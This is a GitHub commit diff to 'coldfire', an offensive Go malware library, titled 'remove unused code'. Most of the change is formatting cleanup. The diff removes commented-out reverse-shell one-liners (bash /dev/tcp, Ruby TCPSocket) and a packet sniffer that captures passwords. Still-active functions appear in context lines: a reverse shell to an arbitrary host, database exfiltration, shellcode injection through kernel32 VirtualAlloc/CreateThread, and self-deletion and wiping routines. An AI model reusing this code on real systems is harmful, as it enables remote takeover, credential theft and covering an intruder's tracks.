Skip to content

Commit dd445b3

Browse files
committed
remove unused code
1 parent 07d7928 commit dd445b3

File tree

6 files changed

+73
-230
lines changed

6 files changed

+73
-230
lines changed

coldfire.go

+13-94
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ package coldfire
55

66
import (
77
"bufio"
8+
"database/sql"
89
"encoding/binary"
910
"fmt"
1011
"net"
@@ -15,13 +16,12 @@ import (
1516
"strconv"
1617
"strings"
1718
"time"
18-
"database/sql"
1919

20-
_ "github.com/lib/pq"
21-
"github.com/fatih/color"
2220
"github.com/GeertJohan/yubigo"
23-
_ "github.com/go-sql-driver/mysql"
24-
//"github.com/secsy/goftp"
21+
"github.com/fatih/color"
22+
_ "github.com/go-sql-driver/mysql"
23+
_ "github.com/lib/pq"
24+
2525
"github.com/ztrue/tracerr"
2626
)
2727

@@ -32,7 +32,7 @@ var (
3232
Bold = color.New(color.Bold).SprintFunc()
3333
Yellow = color.New(color.FgYellow).SprintFunc()
3434
Magenta = color.New(color.FgMagenta).SprintFunc()
35-
tmpbuf []byte
35+
tmpbuf []byte
3636
)
3737

3838
func handleReverse(conn net.Conn) {
@@ -103,13 +103,12 @@ func IsFileExec(file string) bool {
103103
return mode&0111 != 0
104104
}
105105

106-
107106
// Exfiltrates data slowly from either MySQL or Postgres
108-
func HarvestDB(ip, username, password string, port int){
109-
if PortscanSingle(ip, 5400){
107+
func HarvestDB(ip, username, password string, port int) {
108+
if PortscanSingle(ip, 5400) {
110109

111110
}
112-
if PortscanSingle(ip, 3306){
111+
if PortscanSingle(ip, 3306) {
113112
db, err := sql.Open("mysql", F("%s:%s@tcp(%s:3306)/test", username, password, ip))
114113
Check(err)
115114
defer db.Close()
@@ -126,52 +125,18 @@ func ListDB(db *sql.DB, tables bool) []string {
126125
var result []string
127126
var table string
128127
for res.Next() {
129-
res.Scan(&table)
130-
result = append(result, table)
128+
res.Scan(&table)
129+
result = append(result, table)
131130
}
132131
return result
133132
}
134133

135-
// Generates a reverse shell in a given language to the current machine on arbitrary port
136-
/*func LangRevshell(language string, port int, global bool) string {
137-
reverse_addr := GetLocalIP()
138-
if (global){
139-
reverse_addr = GetGlobalIP()
140-
}
141-
rshell := ""
142-
switch (language){
143-
case "rb":
144-
rshell = F("require 'socket';spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"%s\",%d))", reverse_addr, port)
145-
case "sh":
146-
rshell = F("bash -i >& /dev/tcp/%s/%d 0>&1", reverse_addr, port)
147-
}
148-
return rshell
149-
}
150-
151-
// Ta funkcja wpierdala gratisa na FTP
152-
func Gratis(ip, username, password string, port int) {
153-
config := goftp.Config{
154-
User: username,
155-
Password: password,
156-
ConnectionsPerHost: port,
157-
Timeout: 20 * time.Second,
158-
Logger: os.Stderr,
159-
}
160-
connection, err := goftp.DialConfig(config, ip)
161-
Check(err)
162-
listing, err := connection.ReadDir("/")
163-
Check(err)
164-
for _, file := range listing {
165-
_ = file.Name()
166-
}
167-
}*/
168-
169134
// Verifies Yubico OTP
170135
func Yubi(id, token, otp string) bool {
171136
yubikey, err := yubigo.NewYubiAuth(id, token)
172137
Check(err)
173138
res, ok, err := yubikey.Verify(otp)
174-
if (err != nil || ! ok || res == nil) {
139+
if err != nil || !ok || res == nil {
175140
return false
176141
}
177142
return true
@@ -257,51 +222,6 @@ func Remove() {
257222
os.Remove(os.Args[0])
258223
}
259224

260-
// CredentialsSniff is used to sniff network traffic for
261-
// private user information.
262-
/*func CredentialsSniff(ifac, interval string,
263-
collector chan string,
264-
words []string) error {
265-
ifs := []string{}
266-
if ifac != "all" {
267-
ifs = []string{ifac}
268-
} else {
269-
ifs = append(ifs, ifs...)
270-
}
271-
hits := []string{"password", "user",
272-
"username", "secrets", "auth"}
273-
for w := range words {
274-
word := words[w]
275-
hits = append(hits, word)
276-
}
277-
for h := range hits {
278-
hit := hits[h]
279-
hits = append(hits, strings.ToUpper(hit))
280-
hits = append(hits, strings.ToUpper(string(hit[0]))+string(hit[1:]))
281-
}
282-
var snapshot_len int32 = 1024
283-
var timeout time.Duration = time.Duration(IntervalToSeconds(interval)) * time.Second
284-
for _, i := range ifs {
285-
handler, err := pcap.OpenLive(i, snapshot_len, false, timeout)
286-
if err != nil {
287-
return err
288-
}
289-
defer handler.Close()
290-
source := gopacket.NewPacketSource(handler, handler.LinkType())
291-
for p := range source.Packets() {
292-
app_layer := p.ApplicationLayer()
293-
pay := app_layer.Payload()
294-
for h := range hits {
295-
hit := hits[h]
296-
if bytes.Contains(pay, []byte(hit)) {
297-
collector <- string(pay)
298-
}
299-
}
300-
}
301-
}
302-
return nil
303-
}*/
304-
305225
// Reverse initiates a reverse shell to a given host:port.
306226
func Reverse(host string, port int) {
307227
conn, err := net.Dial("tcp", host+":"+strconv.Itoa(port))
@@ -358,7 +278,6 @@ func Wipe() error {
358278
return wipe()
359279
}
360280

361-
362281
// Checks if a string contains valuable information through regex.
363282
func RegexMatch(regex_type, str string) bool {
364283
regexes := map[string]string{
@@ -388,6 +307,6 @@ func AutoDoc(port ...int) {
388307
}
389308

390309
// Injects a bytearray into current process and executes it
391-
func RunShellcode(sc []byte, bg bool){
310+
func RunShellcode(sc []byte, bg bool) {
392311
runShellcode(sc, bg)
393312
}

coldfire_windows.go

+2-48
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,9 @@ func wipe() error {
3636
return nil
3737
}
3838

39-
func runShellcode(sc []byte, bg bool){
39+
func runShellcode(sc []byte, bg bool) {
4040
var bg_run uintptr = 0x00
41-
if (bg) {
41+
if bg {
4242
bg_run = 0x00000004
4343
}
4444
kernel32 := syscall.MustLoadDLL("kernel32.dll")
@@ -53,49 +53,3 @@ func runShellcode(sc []byte, bg bool){
5353
threadHandle, _, _ := procCreateThread.Call(0, 0, addr, 0, bg_run, 0)
5454
waitForSingleObject.Call(threadHandle, uintptr(^uint(0)))
5555
}
56-
57-
// func dialog(message, title string) {
58-
// zenity.Info(message, zenity.Title(title))
59-
// }
60-
61-
// func SplitMultiSep(s string, seps []string) []string {
62-
// f := func(c rune) bool {
63-
// for _, sep := range seps {
64-
// if c == sep { // what?
65-
// return true
66-
// }
67-
// }
68-
// }
69-
// fields := strings.FieldsFunc(s, f)
70-
// return fields
71-
// }
72-
73-
/*
74-
75-
func keyboard_emul(keys string) error {
76-
77-
}
78-
79-
func proxy_tcp() error {
80-
81-
}
82-
83-
func proxy_udp() error {
84-
85-
}
86-
87-
func proxy_http() error {
88-
89-
}
90-
91-
func webshell(param, password string) error {
92-
93-
}
94-
95-
func stamp() {
96-
97-
}
98-
99-
func detect_user_interaction() (bool, error) {
100-
101-
}*/

0 commit comments

Comments
 (0)